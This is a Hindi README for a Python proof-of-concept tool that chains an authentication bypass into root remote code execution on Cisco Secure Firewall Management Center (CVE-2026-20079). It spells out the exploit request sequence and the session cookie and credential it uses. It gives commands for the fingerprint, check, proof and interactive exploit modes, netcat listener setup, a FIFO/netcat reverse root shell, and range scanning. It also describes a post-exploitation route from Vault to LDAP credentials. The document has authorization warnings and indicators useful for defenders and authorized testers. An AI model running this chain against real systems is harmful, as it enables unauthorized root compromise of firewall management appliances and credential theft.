
CVE-2026-20079 प्रमाणीकरण-बाईपास-से-रूट-RCE श्रृंखला को Cisco Secure FMC के विरुद्ध फिंगरप्रिंट, चेक, प्रूफ और इंटरैक्टिव एक्सप्लॉइट मोड का उपयोग करके लागू करता है।
CVE-2026-20079 में सार्वजनिक रूप से प्रलेखित Cisco Secure Firewall Management Center authentication-bypass-to-root-RCE श्रृंखला के लिए पायथन प्रूफ ऑफ कॉन्सेप्ट।
यह कोई नई भेद्यता या स्वतंत्र रूप से विकसित एक्सप्लॉइट श्रृंखला नहीं है। यह VulnCheck द्वारा प्रकाशित अनुरोध अनुक्रम का क्लीन-रूम कार्यान्वयन है, जिसमें अलग-अलग फिंगरप्रिंट, चेक, वन-शॉट प्रूफ और इंटरैक्टिव एक्सप्लॉइट मोड शामिल हैं।
Python 3.10 या उसके बाद का संस्करण आवश्यक है। Linux या macOS पर:```bash git clone https://github.com/CyberAuth/CVE-2026-20079.git cd CVE-2026-20079 python3 -m venv .venv source .venv/bin/activate python3 -m pip install -r requirements.txt python3 CVE-2026-20079.py --help
## उदाहरण पतों को बदलें
नीचे दिए गए सभी `192.0.2.x` मान आरक्षित दस्तावेज़ीकरण पते हैं। वे
प्लेसहोल्डर हैं, खोजी गई लक्ष्य जानकारी नहीं, और उन्हें अधिकृत
मूल्यांकन से प्राप्त मानों से प्रतिस्थापित किया जाना चाहिए। कमांड
अपरिवर्तित रूप से काम करने की उम्मीद नहीं है।
| उदाहरण | अर्थ | इसके बजाय क्या उपयोग करें |
| --- | --- | --- |
| `https://192.0.2.10` | लक्ष्य FMC URL | अधिकृत FMC का सटीक स्कीम, पता और पोर्ट |
| `192.0.2.20` | वह पता जिस पर FMC वापस कनेक्ट होता है | ऑपरेटर के लिसनर का IP पता या DNS नाम **जैसा कि FMC से पहुंच योग्य हो** |
| `192.0.2.0/24` | उदाहरण फ़िंगरप्रिंट CIDR | स्पष्ट रूप से अधिकृत नेटवर्क रेंज |
| `4444` | कॉलबैक/लिसनर TCP पोर्ट | कॉलबैक सिस्टम पर एक स्वीकृत पहुंच योग्य पोर्ट |
| `0.0.0.0` | जहाँ लिसनर ऑपरेटर सिस्टम पर बाइंड होता है | इसे सभी स्थानीय इंटरफेस पर सुनने के लिए रखें, या एक स्थानीय इंटरफेस पता उपयोग करें |
| `192.0.2.10` in `--expected-callback-source` | कॉलबैक का अपेक्षित स्रोत | लिसनर द्वारा देखा गया FMC स्रोत पता; जब NAT इसे अनिश्चित बनाता है तो इस विकल्प को हटा दें |
| `http://127.0.0.1:8080` | वैकल्पिक स्थानीय इंटरसेप्टिंग प्रॉक्सी | प्रॉक्सी URL जो वास्तव में ऑपरेटर सिस्टम पर सुन रहा है |
### `--callback-host` चुनना
इस नियम का उपयोग करें: **FMC के दृष्टिकोण से, कौन सा पता ऑपरेटर के
लिसनर तक पहुँचता है?** वह पता `--callback-host` है।
| नेटवर्क पथ | विशिष्ट `--callback-host` मान |
| --- | --- |
| ऑपरेटर और FMC एक ही रूटेड नेटवर्क पर हैं | ऑपरेटर सिस्टम का पहुंच योग्य `eth0`, `en0`, या अन्य LAN पता |
| ऑपरेटर VPN के माध्यम से FMC तक पहुँचता है | पहुंच योग्य VPN इंटरफेस पता, जैसे `tun0` या `utun`, जब FMC के पास उसका रूट हो |
| ऑपरेटर NAT या फ़ायरवॉल के पीछे है | वह सार्वजनिक IP या DNS नाम जिसका चयनित पोर्ट ऑपरेटर सिस्टम पर फ़ॉरवर्ड किया गया है |
| कॉलबैक टनल या VPS उपयोग किया जाता है | पहुंच योग्य टनल एंडपॉइंट या VPS पता |
`--callback-host` के लिए `127.0.0.1` या `0.0.0.0` का उपयोग न करें। `127.0.0.1` FMC को ही संदर्भित करेगा, जबकि `0.0.0.0` एक लिसनर बाइंड मान है, गंतव्य नहीं। सुनिश्चित करें कि रूटिंग, फ़ायरवॉल नियम और कोई भी पोर्ट फ़ॉरवर्डिंग FMC को `--callback-port` पर `--callback-host` तक पहुँचने की अनुमति देते हैं।
`--listen-host` केवल स्थानीय है: यह उस इंटरफेस का चयन करता है जिस पर एकीकृत लिसनर प्रतीक्षा करता है। इसका डिफ़ॉल्ट, `0.0.0.0`, हर स्थानीय इंटरफेस पर सुनता है। यह FMC को यह नहीं बताता कि कहाँ कनेक्ट करना है। इसलिए, `--callback-host` और `--listen-host` भिन्न हो सकते हैं, विशेष रूप से NAT के पार।
### कार्यशील उदाहरण: ऑपरेटर और FMC एक ही नेटवर्क पर
इस काल्पनिक, केवल-दस्तावेज़ीकरण लैब को मान लें:```text
Operator system FMC target
eth0: 192.0.2.20 192.0.2.10
1. Operator ---------------------------------------> FMC
HTTPS requests to https://192.0.2.10
2. Operator <--------------------------------------- FMC
Listener on TCP 4444 callback to 192.0.2.20:4444
मान निम्नानुसार कमांड से मैप होते हैं:
--target https://192.0.2.10 मूल्यांकन किए जा रहे FMC की पहचान करता है।--callback-host 192.0.2.20 ऑपरेटर सिस्टम का eth0 पता है क्योंकि
FMC सीधे उस पर रूट कर सकता है।--callback-port 4444 कॉलबैक द्वारा उपयोग किया जाने वाला अनुमोदित TCP पोर्ट है।--listen-host 0.0.0.0 एकीकृत लिसनर को कॉलबैक स्वीकार करने में सक्षम बनाता है
किसी भी स्थानीय इंटरफ़ेस पर, जिसमें eth0 शामिल है।उस उदाहरण के लिए एक वन-शॉट प्रूफ कमांड होगा:```bash
python3 CVE-2026-20079.py
--proof
--target https://192.0.2.10
--callback-host 192.0.2.20
--callback-port 4444
--listen-host 0.0.0.0
प्रवाह इस प्रकार है: ऑपरेटर `192.0.2.10` पर HTTPS अनुरोध भेजता है, फिर FMC ऑपरेटर के `192.0.2.20:4444` पर वापस कनेक्ट होता है। वास्तविक मूल्यांकन में, कमांड चलाने से पहले दोनों IP पतों को बदलें और वापसी मार्ग की पुष्टि करें। यदि FMC ऑपरेटर के `eth0` पते तक नहीं पहुँच सकता है, तो इसके बजाय ऊपर वर्णित पहुँच योग्य VPN, NAT, टनल, या VPS पते का उपयोग करें।
## मोड और त्वरित कमांड संदर्भ
| मोड | नेटवर्क या लक्ष्य प्रभाव | सफलता क्या स्थापित करती है |
| --- | --- | --- |
| `--fingerprint` | केवल GET अनुरोध | संभावित FMC वेब सतह; भेद्यता की पुष्टि नहीं |
| `--check` | सर्वर-साइड सत्र स्थिति को उन्नत करता है | प्रमाणीकरण बायपास और एक एक्शन टोकन तक पहुँच |
| `--proof` | एक सीमित कॉलबैक पेलोड लिखता और चलाता है | इंटरैक्टिव शेल के बिना, रूट निष्पादन और क्लीनअप |
| `--exploit` | एक FIFO/netcat पेलोड लिखता और चलाता है | इंटरैक्टिव रूट कॉलबैक, या `--auto-verify` के साथ सीमित सत्यापन |
तीनों उदाहरण मानों को एक बार सेट करें, प्रत्येक को अधिकृत लक्ष्य से बदलें,
ऑपरेटर कॉलबैक पता, और पोर्ट:```bash
# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20 # Address the FMC can use to reach this listener
CALLBACK_PORT=4444
फिर बिल्कुल एक मोड चुनें:```bash
python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"
python3 CVE-2026-20079.py --check --target "$FMC_URL"
python3 CVE-2026-20079.py --proof --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
--auto-verify
> [!IMPORTANT]
> फ़िंगरप्रिंटिंग एक अनुमानात्मक उत्पाद-पहचान चरण है, कोई भेद्यता जाँच नहीं। `MATCH` और `LIKELY` यह सिद्ध नहीं करते कि लक्ष्य प्रभावित है या शोषण योग्य है, और `NO_MATCH` FMC को नकारता नहीं है। रिवर्स प्रॉक्सी, अनुकूलित लॉगिन पेज, एक्सेस नियंत्रण, नेटवर्क विफलताएँ, या उत्पाद परिवर्तन परिणाम को प्रभावित कर सकते हैं।
फ़िंगरप्रिंटिंग नेटवर्क अनुरोध भेजता है लेकिन प्रमाणीकरण बायपास या RCE श्रृंखला नहीं चलाता। `--check`, `--proof`, या `--exploit` उपयोग करने से पहले नीचे दिए गए वर्गीकरण विवरण, मोड विवरण, और सत्र-स्थिति चेतावनी पढ़ें।
> [!WARNING]
> स्पष्ट लिखित प्राधिकरण के बिना `--check`, `--proof`, या `--exploit` न चलाएँ जो लक्ष्य परिवर्तनों और प्रमाण विधि को कवर करता हो। पहले पूर्वापेक्षा, सत्र-स्थिति सीमा, और कॉलबैक आवश्यकताओं को पढ़ें।
## एक्सप्लॉइट श्रृंखला कैसे काम करती है
सक्रिय श्रृंखला `CGISESSID=csm_processes` को `/login.cgi?logon=Continue` पर भेजती है, प्रकाशित `report:snortrules` मशीन क्रेडेंशियल का उपयोग करती है, `/ui/user/general` से `sf_action_id` निकालती है, `validateLicense` के माध्यम से Makeself-प्रारूप स्क्रिप्ट लिखती है, और इसे `SF::UI::DataObjectLibrary::upgradeReadinessCall` के माध्यम से ट्रिगर करती है।
## महत्वपूर्ण पूर्वापेक्षा
प्रभावित सॉफ़्टवेयर संस्करण परीक्षण के समय हमेशा शोषण योग्य नहीं होता। बूट-निर्मित `csm_processes` सत्र अभी भी मौजूद होना चाहिए। सामान्य प्रमाणित UI गतिविधि और सत्र सफ़ाई इसे हटा सकती है। केवल इस पूर्वापेक्षा को पूरा करने के लिए प्रोडक्शन FMC को रिबूट न करें।
## सत्र-स्थिति सीमा
`--check`, `--proof`, और `--exploit` मोड सर्वर-पक्ष `csm_processes` सत्र को उन्नत करते हैं। PoC उस सत्र को उसकी मूल आंशिक स्थिति में लौटाने का प्रयास नहीं करता क्योंकि कोई विक्रेता-प्रलेखित डाउनग्रेड क्रिया उपलब्ध नहीं है। क्लाइंट कुकी साफ़ करने से सर्वर-पक्ष परिवर्तन पूर्ववत नहीं होगा, जबकि लॉग आउट करना, समाप्ति को बाध्य करना, या डेटाबेस प्रविष्टि को हटाना सत्र को पुनर्स्थापित करने के बजाय नष्ट कर देगा और बाद के सत्यापन या उपकरण व्यवहार में हस्तक्षेप कर सकता है। स्वचालित सफ़ाई सुविधाएँ केवल अस्थायी RCE फ़ाइलों को हटाती हैं; वे सत्र स्थिति को पुनर्स्थापित करने का दावा नहीं करतीं। `--fingerprint` उस सत्र का उपयोग या संशोधन नहीं करता।
## लक्ष्य रनटाइम पूर्वापेक्षाएँ
दोनों कॉलबैक पेलोड के लिए आवश्यक हैं:
- एक संगत POSIX-शैली `/bin/sh`।
- `rm` और `command`।
- लक्ष्य के निष्पादन `PATH` के माध्यम से उपलब्ध `nc`, `netcat`, या `ncat` में से एक।
- FMC से दिए गए कॉलबैक पते और पोर्ट तक आउटबाउंड TCP कनेक्टिविटी।
इंटरैक्टिव `--exploit` पेलोड को अतिरिक्त रूप से `mkfifo` की आवश्यकता होती है। वन-शॉट `--proof` पेलोड FIFO या इंटरैक्टिव शेल नहीं बनाता।
पेलोड अपना कॉलबैक करने का प्रयास करने से पहले तीन समर्थित नेटकैट कमांड नामों की जाँच करता है। यदि कोई मौजूद नहीं है, तो यह अपने क्लीनअप ट्रैप के माध्यम से बाहर निकल जाता है। चूँकि त्रुटि ब्लाइंड सर्वर-पक्ष निष्पादन पथ के अंदर होती है, परीक्षक विस्तृत दूरस्थ त्रुटि संदेश के बजाय लापता कॉलबैक देखता है।
`--auto-verify` Python की socket लाइब्रेरी का उपयोग करता है और उसे स्थानीय netcat स्थापना की आवश्यकता नहीं होती। मैनुअल-लिसनर मोड `nc`, `ncat`, `socat`, या किसी अन्य ऑपरेटर-चयनित TCP लिसनर का उपयोग कर सकता है।
## केवल-GET FMC फ़िंगरप्रिंटिंग
एक URL फ़िंगरप्रिंट करें:```bash
python3 CVE-2026-20079.py \
--fingerprint \
--target https://192.0.2.10
प्रत्येक पंक्ति में एक URL, IP पता, होस्टनाम, या host:port मान वाली फ़ाइल का फ़िंगरप्रिंट करें:```bash
python3 CVE-2026-20079.py
--fingerprint
--targets-file targets.txt
--fingerprint-scheme https
--fingerprint-port 443
--workers 10
स्पष्ट रूप से अधिकृत नेटवर्क रेंज को फ़िंगरप्रिंट करें:```bash
python3 CVE-2026-20079.py \
--fingerprint \
--network 192.0.2.0/24 \
--fingerprint-scheme https \
--fingerprint-port 443 \
--workers 20 \
--max-hosts 256
यह मोड कम प्रभाव वाला है, शाब्दिक रूप से निष्क्रिय नहीं: यह नेटवर्क अनुरोध भेजता है। रीडायरेक्ट वैश्विक स्तर पर अक्षम हैं, और टूल केवल उस वास्तविक HTTP रीडायरेक्ट का अनुसरण करता है जो मूल स्कीम, होस्ट और पोर्ट पर बने रहने वाले सटीक /ui/login पथ पर होता है। टूल के MATCH या LIKELY रिपोर्ट करने से पहले लॉगिन प्रतिक्रिया सफल (HTTP 2xx) होनी चाहिए। यह एक्सप्लॉइट कुकी संलग्न नहीं करता, क्रेडेंशियल जमा नहीं करता, POST अनुरोध नहीं भेजता, बाहरी रीडायरेक्ट का अनुसरण नहीं करता, संस्करण की जांच नहीं करता, या CVE-2026-20079 को सिद्ध नहीं करता। MATCH का अर्थ है कि सफल प्रतिक्रिया में ब्रांडिंग देखी गई, LIKELY का अर्थ है कि सफल समान-मूल लॉगिन मार्ग कच्चे HTML में ब्रांडिंग के बिना मेल खाता है, और NO_MATCH का अर्थ है कि सीमित फिंगरप्रिंट ने FMC की पहचान नहीं की।
केवल --fingerprint --targets-file या --network स्वीकार करता है। चेक, प्रूफ और एक्सप्लॉइट मोड जानबूझकर एकल-लक्ष्य संचालन बने रहते हैं। फ़ाइल और CIDR विस्तार डीडुप्लिकेटेड होते हैं और --max-hosts (डिफ़ॉल्ट 4096) द्वारा सीमित होते हैं, जबकि समवर्तीता --workers (डिफ़ॉल्ट 10, अधिकतम 100) द्वारा सीमित होती है।
python3 CVE-2026-20079.py
--target https://192.0.2.10
--check
सफलता के लिए अपेक्षित HTTP 302 सत्र उन्नयन और एक 200 प्रतिक्रिया दोनों आवश्यक हैं, जिसमें एक सत्र-विशिष्ट `sf_action_id` हो।
PoC पूरे एक्शन टोकन को अनुरोध श्रृंखला के लिए मेमोरी में रखता है, लेकिन केवल एक छोटा फिंगरप्रिंट प्रिंट करता है। पूरे टोकन वाले कच्चे प्रतिक्रिया निकायों को संवेदनशील सत्र साक्ष्य के रूप में मानें और उन्हें प्रकाशित न करें।
सफल जाँच के बाद, सर्वर-पक्ष सत्र उन्नत बना रहता है। उपकरण यह स्पष्ट रूप से रिपोर्ट करता है और अनप्रलेखित रोलबैक का प्रयास नहीं करता।
## वन-शॉट रूट प्रमाण
इसका उपयोग तब करें जब रूट निष्पादन साक्ष्य की आवश्यकता हो लेकिन एक इंटरैक्टिव शेल आवश्यक न हो:```bash
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--proof \
--callback-host 192.0.2.20 \
--callback-port 4444 \
--expected-callback-source 192.0.2.10
प्रूफ़ मोड हमेशा फ़ाइल-लेखन अनुरोध से पहले एकीकृत लिसनर प्रारंभ करता है। लक्ष्य यादृच्छिक प्रारंभ/समाप्ति मार्कर, id, होस्टनाम, बिल्ड-निर्देशिका का नाम, और /var/tmp/license.tmp सफ़ाई स्थिति भेजता है, फिर डिस्कनेक्ट हो जाता है। सफलता के लिए uid=0(root) और अस्थायी स्क्रिप्ट की सत्यापित अनुपस्थिति आवश्यक है। यह न तो कोई FIFO बनाता है, न ही इंटरैक्टिव कमांड चैनल उजागर करता है, और न ही पर्यावरण-विशिष्ट पोस्ट-एक्सप्लॉइटेशन चलाता है।
अधिकृत कॉलबैक सिस्टम पर एक लिसनर प्रारंभ करें:```bash
nc -lvnp 4444
nc -lvn 4444
कॉलबैक सिस्टम के लिए उपयुक्त केवल एक लिसनर कमांड चलाएँ, दोनों नहीं।
फिर चलाएँ:```bash
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--exploit \
--callback-host 192.0.2.20 \
--callback-port 4444
कॉलबैक सत्यापित करें:```bash id hostname -f
PoC सटीक अस्थायी FIFO पथ प्रिंट करता है। FMC शेल से केवल उन दो ज्ञात एक्सप्लॉइट आर्टिफैक्ट्स को हटाएं:```bash
rm -f /tmp/.fmc_poc_<printed_suffix> /var/tmp/license.tmp
PoC अपना स्वयं का कॉलबैक लिसनर चला सकता है और स्वचालित रूप से सीमित पोस्ट-एक्सप्लॉयटेशन कर सकता है:```bash
python3 CVE-2026-20079.py
--target https://192.0.2.10
--exploit
--callback-host 192.0.2.20
--callback-port 4444
--auto-verify
`--auto-verify` कॉलबैक के माध्यम से केवल निम्नलिखित क्रियाएँ करता है:
1. `id` चलाता है और `uid=0(root)` की आवश्यकता होती है।
2. `hostname -f` और FMC बिल्ड डायरेक्टरी का नाम एकत्र करता है।
3. इस रन द्वारा बनाए गए सटीक रैंडमाइज़्ड FIFO और `/var/tmp/license.tmp` को हटाता है।
4. सत्यापित करता है कि दोनों पथ अनुपस्थित हैं।
5. कॉलबैक से बाहर निकलता है।
उत्पन्न पेलोड निष्पादन शुरू होते ही `/var/tmp/license.tmp` को भी अनलिंक करता है और दोनों अस्थायी पथों के लिए शेल-एग्ज़िट/सिग्नल क्लीनअप हैंडलर स्थापित करता है। स्वचालित सत्यापन फिर भी एक स्वतंत्र स्पष्ट क्लीनअप निष्पादित करता है और उसकी जाँच करता है। यदि कोई लेखन प्रयास किया जाता है लेकिन कॉलबैक या क्लीनअप प्रमाण अधूरा है, तो PoC गैर-शून्य स्थिति के साथ बाहर निकलता है और उन दो सटीक पथों को प्रिंट करता है जिनके लिए अधिकृत मैन्युअल समीक्षा की आवश्यकता हो सकती है।
यदि कॉलबैक पता स्थानीय बाइंड पते से भिन्न है, तो बाद वाले को अलग से निर्दिष्ट करें:```bash
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--exploit \
--callback-host 192.0.2.20 \
--callback-port 4444 \
--auto-verify \
--listen-host 0.0.0.0 \
--callback-wait 60
जब कॉलबैक स्रोत स्वयं FMC पता हो और कॉलबैक-पक्ष NAT शामिल न हो, तो लिसनर असंबंधित कनेक्शनों को अस्वीकार कर सकता है:```bash
python3 CVE-2026-20079.py
--target https://192.0.2.10
--exploit
--callback-host 192.0.2.20
--callback-port 4444
--auto-verify
--expected-callback-source 192.0.2.10
Failure to receive a callback does not distinguish among a patched target, a missing boot session, blocked egress, an unavailable/incompatible target-side netcat implementation, or another runtime failure.
स्वचालित Vault एन्यूमरेशन, क्रेडेंशियल निष्कर्षण, पर्सिस्टेंस, और लैटरल मूवमेंट को जानबूझकर बाहर रखा गया है। CVE-2026-20079 को सिद्ध करने के लिए उन गतिविधियों की आवश्यकता नहीं है और वे पर्यावरण-विशिष्ट प्राधिकरण और कॉन्फ़िगरेशन पर निर्भर करती हैं।
## PoC FIFO/netcat का उपयोग क्यों करता है
पहली मैन्युअल रीप्रोडक्शन ने Bash `/dev/tcp` कॉलबैक का उपयोग किया। दोनों HTTP
एक्सप्लॉइट चरणों ने अपेक्षित प्रतिक्रियाएँ लौटाईं, लेकिन कोई कनेक्शन नहीं आया।
इससे पता चला कि अकेले HTTP स्थिति निष्पादन प्रमाण नहीं है और क्यों
शेल-विशिष्ट कॉलबैक सुविधाओं को किसी एप्लायंस पर मान नहीं लिया जाना चाहिए।
सफल पुनःप्रयास ने FIFO/netcat अनुकूलता पैटर्न का उपयोग किया, जो दस्तावेज़ित
सार्वजनिक शोध में है। इसलिए यह PoC सीधे उस सिद्ध पैटर्न
पर जाता है और जानबूझकर असफल `/dev/tcp` विधि को दोबारा नहीं आज़माता। यह जाँचता है
`nc`, `netcat`, या `ncat` के लिए, एक वास्तविक कॉलबैक और `uid=0(root)` की
स्वचालित मोड में आवश्यकता होती है, और कॉलबैक या क्लीनअप प्रमाण अनुपस्थित होने पर गैर-शून्य लौटाता है।
यह ब्लाइंड कॉलबैक विफलता का सटीक कारण निर्धारित नहीं कर सकता, इसलिए यह
संभावित रनटाइम और नेटवर्क पूर्वापेक्षाओं की रिपोर्ट करता है, बजाय यह दावा करने के कि
टारगेट पैच किया गया है।
## पोस्ट-एक्सप्लॉइटेशन दायरा
यह रिपॉज़िटरी CVE को एक अनप्रमाणित अवस्था से सत्यापित रूट कॉलबैक और क्लीनअप तक स्वचालित करती है। यह क्रेडेंशियल संग्रह, गुप्त निर्यात, या लैटरल मूवमेंट को **नहीं** स्वचालित करती है।
एक अधिकृत मूल्यांकन के दौरान, परिणामी रूट शेल ने FMC पर स्थानीय रूप से चल रही HashiCorp Vault सेवा को उजागर किया। एक एप्लायंस-स्थानीय Vault क्लाइंट टोकन ने एक कॉन्फ़िगर किए गए LDAP क्रेडेंशियल रिकॉर्ड तक पहुँच की अनुमति दी, और उस क्रेडेंशियल ने बाद में एक अधिकृत LDAPS बाइंड पूरा किया। यह एक परिवेश से देखा गया पोस्ट-एक्सप्लॉइटेशन पथ है, न कि CVE-2026-20079 की सार्वभौमिक संपत्ति या पूर्वापेक्षा।
पहले व्यक्ति की शोध कहानी के लिए [BLOG.md](https://github.com/cyberauth/cve-2026-20079/blob/HEAD/BLOG.md) देखें: सार्वजनिक पृष्ठभूमि, मैन्युअल एक्सप्लॉइटेशन प्रक्रिया, असफल कॉलबैक, सफल अनुकूलता पेलोड, देखा गया पोस्ट-एक्सप्लॉइटेशन पथ, सीखे गए सबक, और इस टूल का अंतिम विकास।
## वैकल्पिक प्रॉक्सी
इंटरसेप्टिंग प्रॉक्सी में अनुरोधों को देखने के लिए:```bash
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--check \
--proxy http://127.0.0.1:8080
अकेले HTTP 302 या HTTP 200 रूट RCE साबित नहीं करते। इस मुद्दे को इस प्रकार लें:
--fingerprint सीमित लॉगिन व्यवहार या ब्रांडिंग का अवलोकन करता है; यह अपने आप में कोई भेद्यता निष्कर्ष नहीं है।sf_action_id उत्पन्न करता है।id uid=0(root) रिपोर्ट करता है।एकीकृत लिसनर यादृच्छिक प्रति-रन सत्यापन मार्करों का उपयोग करता है, कैप्चर किए गए कॉलबैक आउटपुट को सीमित करता है, वैकल्पिक रूप से कॉलबैक स्रोत को फ़िल्टर करता है, और यदि रूट या क्लीनअप सत्यापित नहीं किया जा सकता है तो गैर-शून्य स्थिति लौटाता है। मैनुअल-लिसनर मोड उन शर्तों को Python प्रक्रिया के लिए साबित नहीं कर सकता; इसका सफल निकास का अर्थ है कि HTTP श्रृंखला सबमिट की गई थी, न कि यह कि रूट निष्पादन स्वतंत्र रूप से देखा गया था।
0: फिंगरप्रिंटिंग कम से कम एक गैर-त्रुटि परिणाम के साथ पूरी हुई; --check ने प्रमाणीकरण बायपास की पुष्टि की; --proof या --auto-verify ने रूट और क्लीनअप की पुष्टि की; या मैनुअल-लिसनर मोड ने अपेक्षित HTTP श्रृंखला सफलतापूर्वक सबमिट की।1: लक्ष्य अपेक्षित प्रतिक्रिया से मेल नहीं खाया, कॉलबैक/रूट/क्लीनअप प्रमाण विफल रहा, या अनुरोध/लिसनर त्रुटि हुई।2: अमान्य कमांड-लाइन तर्क।130: ऑपरेटर द्वारा बाधित। यदि पेलोड लेखन का प्रयास किया गया था, तो टूल उन सटीक पथों को भी प्रिंट करता है जिनका क्लीनअप असत्यापित रहता है।csm_processes कुकी और report मशीन उपयोगकर्ता के साथ /login.cgi?logon=Continue पर POST।/ui/user/general पर अनुरोध।/sajaxintf.cgi?rs=callServerFunc पर validateLicense अनुरोध।/pjb.cgi पर सबमिट किया गया SF::UI::DataObjectLibrary::upgradeReadinessCall।/var/tmp/license.tmp का निर्माण या निष्पादन।/tmp के अंतर्गत FIFO निर्माण, एक इंटरैक्टिव /bin/sh, nc, और FMC से अप्रत्याशित आउटबाउंड ट्रैफ़िक।त्वरित सेटअप रनटाइम निर्भरता को requirements.txt से एक पृथक वर्चुअल वातावरण में स्थापित करता है। किसी सार्वजनिक लक्ष्य से संपर्क किए बिना मानक-लाइब्रेरी यूनिट और स्थानीय मॉक-इंटीग्रेशन परीक्षण चलाएँ:```bash
python3 -m unittest discover -s tests -v
## संदर्भ
- [Cisco परामर्श](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2)
- [VulnCheck तकनीकी विश्लेषण](https://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079)
## कानूनी
केवल उन प्रणालियों पर उपयोग करें जो आपकी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण है।
यह प्रूफ ऑफ कॉन्सेप्ट सर्वर-साइड सत्र स्थिति को बदल सकता है और कमांड निष्पादित कर सकता है
root के रूप में। प्राधिकरण प्राप्त करना, सुरक्षित दायरा और प्रूफ सीमा निर्धारित करना,
एकत्रित साक्ष्य की सुरक्षा करना, और लागू कानूनों, अनुबंधों, तथा विक्रेता या कार्यक्रम नियमों का
पालन करना आपकी ज़िम्मेदारी है। लेखक और
योगदानकर्ता अवैध पहुँच, विघ्न, या डेटा संग्रह को अधिकृत नहीं करते हैं।
सॉफ़्टवेयर बिना किसी वारंटी के "जैसा है" प्रदान किया जाता है, और लेखक तथा
कॉपीराइट धारक कानून द्वारा अनुमत पूर्ण सीमा तक दायित्व अस्वीकार करते हैं।
पूर्ण शर्तों के लिए [MIT लाइसेंस](https://github.com/cyberauth/cve-2026-20079/blob/HEAD/LICENSE) देखें। यह उपयोग सूचना
लाइसेंस को संशोधित या प्रतिबंधित नहीं करती है।